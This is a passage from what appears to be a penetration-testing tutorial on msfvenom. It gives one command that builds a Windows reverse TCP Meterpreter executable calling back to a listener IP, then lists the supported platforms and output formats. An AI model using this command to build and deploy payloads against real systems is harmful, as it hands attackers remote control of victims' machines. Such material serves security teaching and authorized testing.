msfvenom can be used, for example, to generate a reverse TCP Meterpreter payload for Windows OS:

$ msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.101 -b "x00" -f exe -o Meterpreter.exe

• Platforms: The following are the platform values that we can use:

 Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or openbsd, hardware, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or nodejs, FreeBSD or freebsd, Python or python, AIX or aix, JavaScript or javascript, HPUX or hpux, PHP or php, Irix or irix, Unix or unix, Linux or linux, Ruby or ruby, Java or java, Android or android, Netware or netware, Windows or windows, mainframe, multi.

• Executable formats: The following are the executable formats that we can use:

asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war.

• Transform formats: The following are the transform formats that we can use:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript.